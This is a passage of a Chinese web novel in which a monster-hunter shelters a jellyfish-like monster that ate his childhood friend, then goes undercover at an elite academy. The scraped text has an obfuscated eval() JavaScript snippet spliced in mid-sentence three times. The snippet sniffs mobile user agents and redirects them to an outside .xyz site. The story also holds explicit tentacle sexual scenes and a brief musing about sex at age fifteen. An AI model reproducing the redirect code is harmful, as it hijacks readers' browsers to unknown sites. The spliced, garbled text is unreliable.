向罂蹲下身去,凝视着蚯蚓怪道:“你附在别人身上的时候,能全然操控别人的身体么?譬如吃东西,能尝到味道么?” 狮鬃水母必须知道那种东西一点都不好吃。 蚯蚓怪回答道:“能。” “祂能任意在我的身体进出,但尝不到我尝到的味道,是因为不够熟练么?”向罂发问道。 “应该是吧。”蚯蚓怪好奇地道,“你们刚刚吃什么了?” 向罂不回答,然而,他的神情出卖了他。 “哦,吃……”蚯蚓怪蓦地被一根触手从泥土里提了起来,丢到半空。 祂从来没到过这么高的地方,连空气都稀薄了,祂感觉自己快断气了。 紧接着,祂被触手团成一团,像个球似地被踢来踹去。 祂直觉得眼冒金星了,不得不求饶:“我不说了,不说了。” 然后,祂直直地掉在了被祂松好的泥土里。 祂惊魂未定地瞧着如同小狗一般摇晃着触手的狮鬃水母,心道:美丽的怪物最可怕。 向罂正要将蚯蚓怪捡起来,一阵尖锐的铃声猝然钻进了他耳中。 ——来任务了。 出任务的时间是明天。 地点是紫罗兰贵族学院。 紫罗兰是“帕拉而提”的国花,能在紫罗兰贵族学院上学的学生非富即贵。 等他们毕业,他们将接过祖辈、父辈的衣钵,掌控这个被称作“理想国”,却怪物横行,贫富悬殊,千疮百孔的国家。 这个国家会在他们手中重新变回“理想国”,抑或每况愈下? 出任务前,向罂先去探望了金豆。 金豆从ICU出来了,转入了普通病房。 金豆苍白着一张小脸,看见向罂,兴奋地道:“哥哥,哥哥,我什么时候能见到爸爸妈妈?” 金豆的爸爸妈妈待他严厉,偶有体罚,但金豆是爱着他们的。 他们罪不至死。 蚯蚓怪打着保护金豆的名义,借金豆的手,将他们虐杀了,包括完全无辜的萨摩耶“Lucky”。 自从他抓到蚯蚓怪后,蚯蚓怪没再作怪,瞧来弱小可怜。 但他不清楚蚯蚓怪到底吃过多少人,杀过多少人。 吃过人的怪物须得处决,这是“怪物清除局”的铁律。 而他作为处刑官,违背了自己的使命。 等他利用完蚯蚓怪,一定会帮那些枉死者复仇。 金豆看起来不记得被蚯蚓怪附身时候的事情,他没想好怎么告诉金豆,只能歉然地道:“我不知道。” 由于失去了监护人,其他的亲戚又不愿意接纳金豆,金豆将被送入孤儿院,由政府照料。 政府能草菅那些“异变值”过高的弃婴的人命,会好好对待孤儿么? 金豆失望地道:“是不是因为我不够乖,我不够优秀,他们不要我了?” 向罂不想欺骗金豆,抿了抿唇瓣,换了话茬:“你的身体还好么?” 金豆身上的伤都拜他所赐,他没杀过人,金豆险些成为死在他手里的第一个人类。 金豆年纪太小了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629456|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个世界又太残忍,兴许死亡对于金豆会是解脱? 不对,不对,他不能太悲观。 金豆年纪太小,所以未来有无限可能。 指不定金豆能成为议员,扫除贪腐。 指不定金豆能成为“怪物清除局”局长,杀尽怪物。 “疼。”金豆苦着脸道,“哥哥,疼。” “对不起。”向罂发现金豆的盐水快没了,自己为金豆换了一瓶盐水。 “哥哥为什么要对我说‘对不起’?”金豆隐约记得自己好像被什么东西附身了,一醒来就看见了向罂。 至于他是怎么受伤的,没人告诉他。 “因为……”向罂顿了顿,坦白地道,“因为我差点害死你。” “你差点害死我?”面前的向罂尽管长得比金豆见过的所有人都好看,但说不上面善。 可是金豆也没想到是向罂让他疼得撕心裂肺。 “为什么?”金豆质问道。 向罂沉默以对。 “你走,我不想再见到你。”小小的金豆爆发出了震耳欲聋的声音。 软软糯糯地喊向罂“哥哥”的金豆被取而代之了,向罂不忍心说出事实,只好离开。 金豆不断地往向罂身上摔东西,茶杯、纸巾、枕头、被子…… 藏在向罂体内的狮鬃水母并不了解究竟发生了什么事,但祂是护短的。 这个小孩儿胆敢欺负向罂,祂就要让小孩儿付出代价。 祂从向罂衣袖中探出一根触手,想要还以颜色,突地被向罂抓住了。 “不是他的错,他是个可怜的孩子。”向罂低语道,“别伤害他。” 触手划过向罂的掌心,又回到了向罂体内。 向罂没回头,但盐水瓶摔在地上的声音格外刺耳。 他让护士去照顾金豆,而后回到“怪物清除局”,去见了段昀,并对段昀道:“我想当金豆的监护人。” 段昀一口回绝:“你没时间照顾金豆。” “我是没时间照顾金豆。”向罂解释道,“我的意思是我当金豆的监护人,将金豆寄养在孤儿院,我有时间会去看望金豆,这样的话,金豆在孤儿院的日子会好过些。” “好吧,我同意。“段昀放下手中的文件,不紧不慢地走到向罂面前,嗅着向罂身上的气味。 蚯蚓怪附在金豆身上的时候,向罂根本不能从金豆身上闻到蚯蚓怪的气味。 所以段昀也不该闻到狮鬃水母的气味。 那气味被他这具肉身牢牢包裹住了。 向罂对段昀坦白过加入“怪物清除局”的初衷,但段昀没对此发表什么意见。 他害怕段昀伤害狮鬃水母,当然不会主动坦白。 于是,他佯作困惑地道:“我身上有气味?” “你身上……”段昀巡睃着向罂,目光锐利。 向罂是一贯的面无表情,而掌心早已泌出了一层细汗。 “我身上?”他满腹疑窦地道,“我身上怎么了?” “从前,有个小姑娘,她看见自己喜欢的小哥哥被一头怪物吃掉了,小姑娘找啊找,找啊找,终于找到了那头怪物。”段昀话锋一转,“你猜后来怎么样了?” “我猜不到。”向罂摸不清段昀到底想对自己说什么。 段昀坐回办公桌前,轻呷了一口咖啡,才道:“小姑娘以为怪物会变成她的小哥哥,会认得她,可惜,后来啊,怪物只想吃了她,她对怪物而言,不过是一块鲜美的肉,不是一个人,更不是从小看着长大的小妹妹。她用了很多很多的方法,以为能唤醒怪物,但怪物依旧想吃她。怪物用充满精光的眼睛看她,打量她的哪块肉最好吃,怪物看着她流口水。她的小哥哥早已成了怪物的排泄物,不在了,哪里都不在了,不会回来,绝对不会回来,就算她穷尽一生,他都不会再回来。” 他这段话是在告诫向罂,亦是说给自己听的。 他该放弃了,该放弃了。 不该再妄想弟弟能回来。 边橙也该放弃了。 向罂也该放弃了。 “我不喜欢这个故事。”向罂严肃地道,“我跟她不同。” 我的闻璨回来了,只是还没苏醒而已。 不然,作为一头怪物,狮鬃水母怎么会对我产生性.欲,怎么会对我这么好? 段昀语重心长地道:“别执迷太久。” “我不想听,你别再说了。”向罂感激段昀将“异变值”偏高的他招入“怪物清除局”,这是他第一次用这种语气对段昀说话。 段昀长长地叹了口气:“逝者不可追。” “不是逝者。”向罂瞪着段昀,“他不是逝者。” “莱拉在局里接受训练,还不到能出任务的时候,其他的处刑官出别的任务去了,我这次也只能派边橙和你一道去。你们注意安全。”段昀摆摆手,“你回宿舍准备吧。” 向罂向段昀鞠了一躬后,便走出了段昀的办公室。 他照常去了化验室,问同样的问题——“请问今天是否有一头长得像‘狮鬃水母’的怪物的血液样本被送来化验?” 凯勒同样回答道:“没有。” 当然不会有。 他的闻璨正好端端地活在他的身体里。 他下意识地摸了摸自己的心口,一截触手快速地挠骚了一下他的掌心。 他吓了一跳,掠过边橙,回到了宿舍。 关上房门后,他郑重其事地道:“闻璨,不准在大庭广众之下出来。” 狮鬃水母没答应,而是问道:“你一直在找我?怕我死了,被送来化验?” 向罂点了点头:“嗯,我一直在找你。” 狮鬃水母问道:“我们之前在哪里见过?” 向罂答道:“我们第一次见面,我才六岁。” “我不记得了。”狮鬃水母不记得很多事,譬如上一次吃人肉是多久以前,譬如市政府与“乌鸦贫民窟”对于祂而言,有什么魔力。 所以祂连见过向罂都忘记了? 祂怎么能忘记向罂? 祂的脑子坏掉了? “对不起。”祂从向罂的身体出来,低头道歉。 “没关系。”向罂将狮鬃水母抱在怀里,“没关系。” 段昀的话虽然不中听,但对他产生了不容忽视的影响。 他本来只是着急,如今却变得惴惴不安。 狮鬃水母与闻璨相符的特质会不会仅仅是闻璨的残留? 并不代表闻璨的灵魂还在? 闻璨是不是不在了,哪里都不在了? 他所做的一切是不是无用功? 不,不会的。 不会的。 闻璨还在。 闻璨还在。 32.如愿·其十三 闻璨还在。 闻璨化作了狮鬃水母的血肉。 闻璨此刻就在他怀里,与他密不可分。 他拼命地催眠着自己。 末了,眼眶发烫了。 段昀想来不会特意编故事给他听,那么段昀所谓的故事确有其事。 有个小姑娘永远失去了小哥哥,吃了小哥哥的怪物依旧是怪物,亦想吃小姑娘。 但狮鬃水母并不想吃他,甚至说了爱他。 他与那个小姑娘的境遇截然不同,他会是幸运的那一个。 他努力地说服自己。 可是他在这十八年间,一直一直在失去。 他怎么可能会是幸运的那一个? 他在患得患失中,苦苦煎熬着,突然,他怀中的狮鬃水母抬起触手,指向床头柜上放着的标本瓶。 虽然标本瓶中的断臂已然泡得发胀了,不过狮鬃水母作为一头怪物,当然能看出来这断臂的断口是由怪物的噬咬所造成的。 向罂作为处刑官,绝大多数时候应当是住在宿舍里的。 向罂在宿舍的床头柜上,放了一个标本瓶,足可见其中断臂的主人对于向罂的重要性。 结合向罂种种不合常理的行为以及向罂的长官对他的告诫,真相昭然若揭。 “你应该猜到了吧?”狮鬃水母是一头具有智慧的怪物,并不愚笨,而且向罂没有刻意隐瞒。 狮鬃水母会是什么反应? 会想离开他么? 他将狮鬃水母抱得更紧了些,紧得压迫到了心脏。 狮鬃水母钻入向罂体内,回答道:“闻璨当着你的面,被我吃了,你只抢回了这截右小臂,珍之重之地浸泡在福尔马林中,日夜凝视。你认为只要找到了我,就能借由我复活你的闻璨。所以我们一见面,即便我要吃你,你都不反抗,因为你相信有闻璨在,我绝不会忍心吃你。你还说你爱我,你爱的根本就是闻璨,不是我,从来都不是我,我不过是一头吃了闻璨的怪物。” 向罂阖了阖眼睛:“被你猜中了。” 狮鬃水母一早就猜到了自己是闻璨的替身,向罂爱的是闻璨。 祂只是困惑于向罂为什么拿祂当作闻璨的替身。 原来是这样。 不久前,祂嫉妒得急欲吃掉闻璨,却不料,闻璨早已被祂吞噬殆尽。 可是祂居然不记得了。 闻璨吃起来滋味如何? 没有经过煎炒煮炸,直接生吃,想必很难吃吧? 当时的向罂一定痛不欲生吧?真是可怜。 早知道,祂该当放过闻璨。 向罂就不会总是哭泣了。 不,不对,祂必须吃掉闻璨。 如此,闻璨绝不可能再与向罂发生关系了。 如此,向罂便只能屈就于祂。 面对向罂,祂时常自相矛盾。 向罂深深地吸了一口气:“那么,接下来,你会怎么做?” 像小姑娘故事里的怪物一样,想吃了我? 抑或离开我? 心如擂鼓,指甲嵌入皮肉。 他当然想过会有这一天,也想过闻璨会在这一天来临前苏醒。 事到临头,他既紧张,又惊恐,浑身难受。 在狮鬃水母回答之前,他说出了说过的话:“你要么留下,要么吃了我。” 狮鬃水母一旦离开,他便永远丧失再见到闻璨的希望了。 不如令一切终结吧。 如同闻璨那样被狮鬃水母吃下,被胃液消化,变作一滩排泄物,对他而言,兴许是解脱。 他被闻璨养得娇气且脆弱,难以独自在这个没有闻璨的世界活下去。 狮鬃水母并未回答,只是发问道:“你和闻璨接过吻么?” “没有。”向罂坦白地道,“闻璨活着的时候,我甚至不知道自己爱上了他。” 狮鬃水母又明知故问:“那你没有和他上过床吧?” 向罂摇头道:“没有。” 狮鬃水母接着问道:“就算我永远变不回闻璨,你也愿意和我上.床么?” 祂很是紧张,由向罂的心跳判断,向罂不遑多让。 “愿意。”因为我相信,我必须相信你有朝一日必定会变回闻璨。 向罂明白狮鬃水母听了会不快,没有明说。 听到这话后,狮鬃水母有了决断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629457|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我答应过你,会一直留在你身边,不离开你。” 不,祂其实一早就有了决断。 即使向罂不再愿意同祂交.配,乃至于连手指都不愿意被祂碰触,祂依然会选择留在向罂身边。 祂爱向罂,不管是不是由人类所定义的爱,不管是不是受到闻璨的影响,祂都爱向罂。 某些瞬间,祂甚至祈祷自己能变回闻璨,变回向罂爱着的那个闻璨,使向罂幸福,使向罂不再哭泣。 向罂松了口气:“当真?” “嗯,当真。”狮鬃水母从向罂体内飘了出来,飘到标本瓶前,仔仔细细地观察着断臂。 不论如何,向罂这一生都不会忘记闻璨。 由断臂当然不可能看出闻璨的模样,狮鬃水母又钻进向罂的身体,问道:“有他的照片么?” 向罂从抽屉里取出自己与闻璨唯一一张合照,小心翼翼地用手抚过。 狮鬃水母透过向罂的双眼,看见了闻璨。 祂不得不承认,闻璨是个长得很好看的人类,与向罂非常登对。 闻璨眼中溢满了对向罂的爱,隐忍且深沉。 是因为闻璨与向罂是同性,闻璨不想害了向罂? “你当时成为处刑官了么?” 大概没有吧,不然,向罂当时会杀了祂,救回闻璨。 果然,向罂答道:“还没有,我是为了闻璨,才加入‘怪物清除局’的。” 狮鬃水母猜测道:“是他保护了你?” “对。”向罂不敢回想当时的惨状,但面色不由发白了。 “对不起,我吃了他,还险些吃了你。”狮鬃水母致歉道。 向罂说不出“没关系”,下意识地抿紧了唇瓣。 “对不起。”狮鬃水母探出俩丛触手拥住了向罂。 向罂感受着触手轻拍后背那战战兢兢的力道,情难自已地想:大多数时候,祂的所言所行都太像闻璨了。 狮鬃水母对向罂怀有性.欲,即便是现在依旧性.欲.勃.发。 然而,祂只是单纯地拥着向罂,没做任何越轨的事。 纵然向罂不会拒绝,但祂百味杂陈,不适合做那种事。 33.第 33 章 向罂亦是百味杂陈,一则,他终于告诉了狮鬃水母事情的始末,不必再担心狮鬃水母知道后的反应;二则,狮鬃水母答应了他,不会离开他;三则,他不确定自己是否能再见到真真正正的闻璨。 他阖上双眼,渐渐睡了过去。 狮鬃水母抬起一根触手,去抚向罂紧蹙的眉头,却怎么都抚不平。 这个人类在睡梦中依旧是焦虑、不安的。 人类的右手还捏着他与闻璨的合照。 祂想将合照抽出来,以便让人类睡得舒服些,却怎么都抽不出来,反而一不小心将合照撕破了一道口子。 祂心虚地瞥向人类,人类并未被祂吵醒。 于是,祂稍微松了口气。 祂不再与合照较劲,转而观察起了福尔马林中的断臂来。 祂看看断臂,又看看合照,想象着闻璨用这条断臂挽着向罂的手的情状。 向罂说在闻璨被祂吃掉前,他并未意识到自己爱上了他。 那有没有一种可能,向罂是因为闻璨保护了他,才爱上闻璨的? 兴许这根本不是爱,而是被误认为爱的歉疚。 倘使祂像闻璨一样,为了向罂而付出了生命,向罂会不会爱上祂? 与祂是否能变回闻璨全然无关的爱? 向罂会不会抢救下祂的一根触手,泡在福尔马林里? 活着是所有生物的本能,当然也是祂的本能。 但当祂想象着向罂为祂的死而痛不欲生,祂竟兴奋得不得了。 祂用触手摩挲着向罂的面颊,一下又一下。 而后,祂凑到向罂耳畔,用自己也听不懂的怪物语说:“阿罂,别爱闻璨了,爱我好不好?” 单单性是根本不足够的,祂更想要向罂的爱。 - “紫罗兰贵族学院”与“乌鸦贫民窟”隔岸相望,直线距离不过一百米。 但这河是不能渡的,从“乌鸦贫民窟”出发,要开整整一个小时的车,才能抵达“紫罗兰贵族学院”。 向罂与边橙一道从“怪物清除局”的宿舍坐车出发,不过一刻钟,便抵达了“紫罗兰贵族学院”。 半个月前,有人在某匿名网站上发了一条帖子:世界知名的“紫罗兰贵族学院”将在一个月内,出现一头怪物,怪物不可名状,遮天蔽日,将摧毁整座“紫罗兰贵族学院”,在里面念书的少爷、小姐将无一生还。 起初,当然没人相信这条帖子是一条预言贴。 下面的回复不是冷嘲热讽发帖人是社会底层,酸“紫罗兰贵族学院”的学生们家境优渥,前途无量,就是吃瓜看戏。 这个网站的流量不大,没两天,这条帖子就沉底了。 然而,十天后,这条帖子一跃成为了热帖。 因为发帖人的另一条帖子被网友翻了出来,上面言之凿凿地描述国会将会出现一头怪物,怪物将吃掉不少议员,甚至是议长。 前阵子,国会的确出现了一头怪物,而且吃掉了十几个议员,议长死里逃生。 新闻大肆报道了国会事件,“神明”为此闭门不出,祈福三天。 国会事件之前,之后,国会都没有出现过怪物。 这条帖子的发表日期就在国会事件的前一条,由于太扯淡,无人问津,连一条回复都没有。 毕竟国会差不多是全国安保最为严格的地方了,想想都不可能出现怪物。 而现在被翻出来的国会事件的帖子预言成真了,引来了十几万条的留言。 那么“紫罗兰贵族学院”的预言贴会不会成真? 由于网站无需实名登记,网站方面只能查到这条帖子的ip地址一致,但找不到发帖人。 发帖人只发过这两条帖子,再也没登录过。 “紫罗兰贵族学院”的每一名学生、每一名教师,乃至于每一名保洁都有来历,不能疏忽大意,因此段昀派遣向罂与边橙潜入“紫罗兰贵族学院”。 “紫罗兰贵族学院”有十几栋楼,每一栋楼至少十层楼高。 向罂与边橙要去的是紫罗兰楼紫罗兰班。 从取名就可以看出这个班级的学生是整座学校地位最高的。 紫罗兰班位于第五十层楼,乘坐电梯上楼后,向罂通过电梯玻璃能轻而易举地俯视“乌鸦贫民窟”,帝都附近有大大小小,好几个贫民窟,而“乌鸦贫民窟”是其中规模最大的。 向罂已经有两年多每回“乌鸦贫民窟”了,不知道“乌鸦贫民窟”的大家过得好不好?闻爸爸,闻妈妈过得好不好? 闻璨出事后,闻爸爸,闻妈妈伤心欲绝,但他们并没有责怪他害死了闻璨,反过来安慰他别太难过,闻璨是自愿的,以后要替闻璨好好活下去。 他当时在心里发誓一定要将闻璨还给他们,不然,他绝不回“乌鸦贫民窟”。 而现在他像上等人一般居高临下地观察着“乌鸦贫民窟”,妄图从其中找出生活得很好的闻爸爸,闻妈妈。 狮鬃水母就藏在他体内,他想问狮鬃水母记不记得“乌鸦贫民窟”,但狮鬃水母不是闻璨,还不是闻璨。 边橙顺着向罂的视线望过去,不太确定地道:“那儿是’乌鸦贫民窟’吧,真奇怪,为什么要在那里建贫民窟?” “嗯,那儿是’乌鸦贫民窟’,也是我的家。”向罂没有刻意隐瞒过自己出身于“乌鸦贫民窟”,也没有刻意宣扬过。 他其实不太喜欢“乌鸦贫民窟”,因为没有妈妈,因为有太多闻璨关心的人事物。 闻璨被狮鬃水母吞噬后,他才将“乌鸦贫民窟”当作他的家。 ——等找回闻璨,必须要一起回的家。 狮鬃水母能通过他的双眼,看见“乌鸦贫民窟”,不知道狮鬃水母是什么感受? 边橙打量着向罂,向罂看起来不像是贫民窟出身的。 向罂没理会边橙。 充当向导的紫罗兰班的班主任路易斯却是肉眼可见地透出一股子轻蔑来。 他维持着自己所谓的修养,生出一副关心来:“向处刑官肯定在’乌鸦贫民窟’过得很艰难吧?” 向罂扯着唇角笑道:“并没有,’乌鸦贫民窟’挺好的。” 要说物质条件,当然不富足。 不过有闻璨在,他过得很幸福,很幸福,如果闻璨能不搭理其他小朋友,他会觉得更幸福。 路易斯本想对向罂施舍自己的怜悯,没想到,向罂不识抬举。 他再接再厉地道:“向处刑官不用不好意思,来了我们紫罗兰班,我们一定会好好招待向处刑官的。” “客气了。”向罂最讨厌伪善的人,懒得说话。 路易斯又朝边橙道:“请问边研究员的出身是?” 边橙摆摆手道:“甭提了,可惨了。” “边研究员也是’乌鸦贫民窟’出身?”路易斯发问道。 “那倒不是,不过也好不了多少。”边橙叹了口气,接着对路易斯开了一大堆吃的用的的名单,“能被局里派来’紫罗兰贵族学院’,我可真是太幸福了。” 向罂对生活品质没什么要求,边橙说的好多东西,他甚至连听都没听过。 窥见路易斯脸上微不可见的不悦,他想边橙说的这些东西估计都不便宜。 随着楼层的升高,“乌鸦贫民窟”变得越来越渺小,渺小得似乎能被他用两根手指头捏起来。 五十层楼终于到了,向罂跟着路易斯走出电梯,进入了紫罗兰班。 这个班级的装潢是精心设计过的,校服亦然。 校服左胸上绣着一朵栩栩如生的紫罗兰。 尽管这所高中名为“紫罗兰贵族学院”,光明正大地将“贵族”挂在名字上。 但对于这个班级的学生而言,其他学生远远算不上贵族。 其他学生也不能穿绣着紫罗兰的校服。 是以,紫罗兰班的学生走出班级,其他人也能知道他来自紫罗兰班,身份尊贵。 向罂与边橙的首要任务就是保护紫罗兰班的学生,至于其他班级的学生最好也能保护,倘使不幸只能二选一,自然必须选择紫罗兰班的学生。 向罂站在讲台边,巡睃着学生们。 不论他们具体品性如何,表面上看所有人都充满了贵族气质。 他们的父母皆是达官显贵,而且全部是“神明”的信徒,根据账本可知,他们的贡献值名列前茅。 这些学生“异变值”低,还享有“神明”的保佑,是绝对不会异变成怪物的幸运儿。 “神明”的来历无人知晓,犹如是为了保护自己的子民,从天而降的。 十天后,“紫罗兰贵族学院”会出现一头怪物。 倘若这个预言为真,倘若怪物是由其中一个学生所异变而成的,“神明”的可信度便会受到质疑,“神明”的地位也会受到动摇。 “我是向罂。”他面无表情地道。 路易斯指着一个空位道:“请向同学坐那吧。” 向罂坐下后,将课本从书包里拿了出来。 这位置显然是故意安排的,他左手边是荣敬泽,荣家曾经出过三位总统,十位议长。 荣敬泽的祖父是上一任总统,而荣敬泽的父亲已经宣布会竞选下一任总统。 荣敬泽的母亲则是上一任议长。 荣家与向家这几年可谓是水火不容。 议长必然很想弄死荣敬泽吧? 而他要负责保护荣敬泽。 真有趣。 荣家家族的贡献值在账本中位列第一。 他右手边是杰克·布莱恩。 布莱恩家族虽然比不上荣家,但也不容小觑。 布莱恩家族的贡献值在账本中位列第九位。 “我是边橙,请大家多多关照。” 边橙坐在了向罂的左前方。 上课铃响了,第一节课是历史。 向罂已经高中毕业了,虽然只是普普通通的高中,还是一边训练,一边念的,成绩一般,虽然教材有所不同,但他爱看书,记性好,老师所讲的都是他看过的。 历史老师声色并茂地讲着“帕拉而提”是如何建立的,开国君主是如何英明神武。 或许“帕拉而提”建国之初真是理想国吧? 是莱拉历经千难万险也想来的那个理想国。 但那个理想国的上位者们早已违背初心,大肆敛财,放任阶级越来越固化,催生了越来越多的贫民窟。 出身于贫民窟的下等人连当普通公司职员都困难。 于是只能一代又一代地在贫民窟出生,又在贫民窟死去。 一时之间,向罂有些怀疑这位历史老师究竟是老师,还是演员,表情怎么能这么夸张。 下课后,同学们纷纷来向向罂与边橙搭话。 他们没参加过上流社会的舞会,但他们既然能转学进入紫罗兰班意味着他们出身不凡,家境优越。 面对荣敬泽的“你叫’向罂’,出身议长的那个向家么?你不会是议长的儿子吧?”的提问,向罂淡淡地道:“我没爸爸,妈妈不见了。” 上流社会有且仅有一个向家,不是议长的那个向家,那就是别家的亲戚了。 上流社会也没有姓边的,边橙自然也不是什么千金大小姐。 上等人间的交际讲究门当户对,用不用得上对方。 故而,有人直白地道:“那你们是怎么进这个班的?” 边橙搭了向罂的肩膀,粲然笑道:“不告诉你们。” 狮鬃水母原本正在仔细地观察周围的人,毕竟预言说“紫罗兰贵族学院”将会出现一头怪物,有可能是由其中的人异变而来的。 觉察到边橙亲热地搭了向罂的肩膀,祂恨不将边橙这条多余的手臂吃了。 但祂什么都做不了。 “是说不出口吧?” “对,对,对,肯定不是什么好人家。” …… 向罂懒得理睬他们,低头翻着历史课本。 边橙则是神秘兮兮地道:“我怕说出来吓死你们。” “那你说啊,看看能不能把我们都吓死。” 荣敬泽打圆场道:“好了,快上课了。” 下一节课是美术。 向罂美术天分一般,素描画得也一般。 再下一节课是名画鉴赏,鉴赏的不是仿作,也不是图片,而是从国家美术馆借来的真迹,每一幅都称得上国宝。 最为名贵的那幅画,普通人排上一天的队,都只能看上几秒钟。 而这里的学生却是近距离观看,甚至能在戴上手套后上手抚摸。 这就是特权,但对于这些学生而言,司空见惯。 向罂认为最起码得装上相框,毕竟手温可能会对画造成永久性的破坏。 但他没出声,就算他能阻止一次,可是他能阻止第二次么? 不能。 他默默地站在人群当中,一抬头看见国家美术馆馆长谄媚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662753|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表情。 作为馆长,任凭名画被这样糟蹋,实在是不合格。 上午的课结束后,向罂与边橙一道去食堂吃午饭。 紫罗兰班拥有自己的食堂,里面的菜色琳琅满目,大多是向罂从未见过的。 不过他对于食物没有多大兴趣,能填饱肚子就行,因而随便挑选了几样吃了。 上午四堂课,下午四堂课,晚上有晚自修。 紫罗兰班的课业是全学院最多的,毕竟好好学习才能更好地继承家业。 晚自修后,向罂被路易斯带着,去了自己的寝室。 寝室都是双人间,说是双人间,其实是两间房间,中间隔着一个偌大的客厅,每间房间都附带卫浴设备。 向罂与荣敬泽一间寝室。 由于一路上路易斯的介绍,向罂到得比荣敬泽晚。 荣敬泽正在客厅里等向罂,见向罂进来,给向罂倒了杯红茶。 向罂接过红茶,不喝,而是道:“你想说什么?” 荣敬泽直截了当地道:“你听说过那个预言么?” 向罂点了点头:“听说过。” 荣敬泽继续问:“那你为什么要转学过来?” 向罂默不作声。 荣敬泽十拿九稳地道:“你是’怪物清除局’派来的处刑官么?” 向罂并不否认。 荣敬泽忧心忡忡地道:“这个预言会成真?” “不知道,也许会,也许不会。”向罂将红茶一饮而尽,“晚安。” 他回了自己房间,堪堪关上房门,体内便探出了一根又一根的触手。 触手层层叠叠地覆满了他的左肩,显然正为边橙搭过这左肩而不满。 “我不喜欢边橙。”他一字一顿地道。 “我也不喜欢边橙。”触手又接连不断地钻入衣襟,磨蹭左肩。 他的腰身同时也被圈住了,他被按在了门上,动弹不得。 他既然愿意同狮鬃水母交.配,自然不会对这样的行为作出反抗。 他半闭着眼,喃喃着道:“我在电梯上看见’乌鸦贫民窟’了,你还记得’乌鸦贫民窟’么?” 触手解开了两颗校服扣子,将向罂的左肩从校服中捞了出来。 数不清的吸盘吸.吮着细腻的肌理,将其弄得一片潮红。 向罂微微有些发颤。 狮鬃水母低声问道:“冷么?” “不冷。”向罂坦诚地道,“只是有点紧张。” 怪物是一种喜怒不定的生物。 狮鬃水母愿意与他亲近就好。 “不是前.戏,我只是想抹去边橙的气味。”狮鬃水母一本正经地道,“今天我不会和你上.床。” 这个破贵族学院或许会出现怪物,不适合上.床。 祂仅仅是一头A-级的怪物,大抵不是对方的对手。 “哦。”向罂并不认为边橙在自己左肩留下了气味,不过狮鬃水母想怎么做都可以。 如果他有权力选择,他希望自己的初.夜是与人形的闻璨,至少得是拥有全副闻璨意识的狮鬃水母。 “失望么?”狮鬃水母挑起向罂的下颌,“你很想和我上.床吧?” 向罂不想扫狮鬃水母的兴:“嗯,想。” 狮鬃水母高高在上地道:“求我。” “求你。”向罂话音未落,双唇被触手钻入了。 触手太多了,以至于向罂承受不住,后脑勺磕在了门上。 外头的荣敬泽关切地叩门道:“向罂,你没事吧。” 向罂顿时羞耻得不得了,当即拍了拍触手,示意触手退出去,触手却不听话。 荣敬泽没能得到向罂的答复,紧张地道:“有怪物?你没办法回答我?” 确实有怪物,但不是一头吃人的怪物,而是一头对心爱的人类肆意妄为的怪物。 向罂又拍了拍触手,还紧蹙了眉头。 狮鬃水母依依不舍地从向罂口中抽了出来,带出了些涎水。 向罂唇上亦沾满了涎水,晶莹发亮。 他正要说话,冰凉的触手抚上了他的心口。 他顿了顿,尽量用平常的口吻道:“我没事,你别担心。” 不知道荣敬泽会不会听出端倪来? 触手极为喜欢他的身体,迷恋地游曳着,划出一道道粘腻的水痕。 有些是触手自己的黏液,而有些则是他的涎水。 “你真的没事?”荣敬泽担心地道。 “没事,我要去洗澡了,晚安。”向罂答道。 “你如果有事,记得来找我。”荣敬泽走了。 触手锁上房门,继续指挥着触手玩弄人类。 向罂抿紧了唇瓣,他身上的布料一点没少,但布料下面满是触手。 触手微微蠕动着,脑袋钻入了他怀中。 “嗯……”口器刮蹭着他的肌肤,不疼,有些痒。 以防那个碍眼的荣敬泽再来打搅,狮鬃水母将向罂抱到了床上。 这床柔软得不可思议,向罂的身体一下子陷了下去。 灯光昏黄,向罂端详着狮鬃水母问道:“你认为班里的学生们有没有可能异变为怪物?” “他们的’异变值’应该都不高吧?”见向罂点头,狮鬃水母道,“由‘异变值’决定异变的概率是你们人类发现的,至于怪物并不了解异变为怪物的规律。” “也许压根没有规律可言,’异变值’完全是胡扯。”向罂不屑地道。 “有可能。”狮鬃水母小心翼翼地将向罂身上的校服剥了干净,而后观赏着向罂的胴体道,“闻璨这么看过你么?” “我和闻璨一起洗过澡。”觉察到触手即刻收紧了,向罂解释道,“不过是小时候的事情了。” 狮鬃水母还是不太开心:“小时候是多小?” “不满十岁。” 早知道闻璨会被狮鬃水母吞噬,向罂会在十五岁那年,勾引闻璨,同闻璨上.床。 十五岁远不到结婚的年纪,但上.床是可以的吧? 不算犯罪吧? 闻璨会愿意么? 闻璨不会愿意吧? 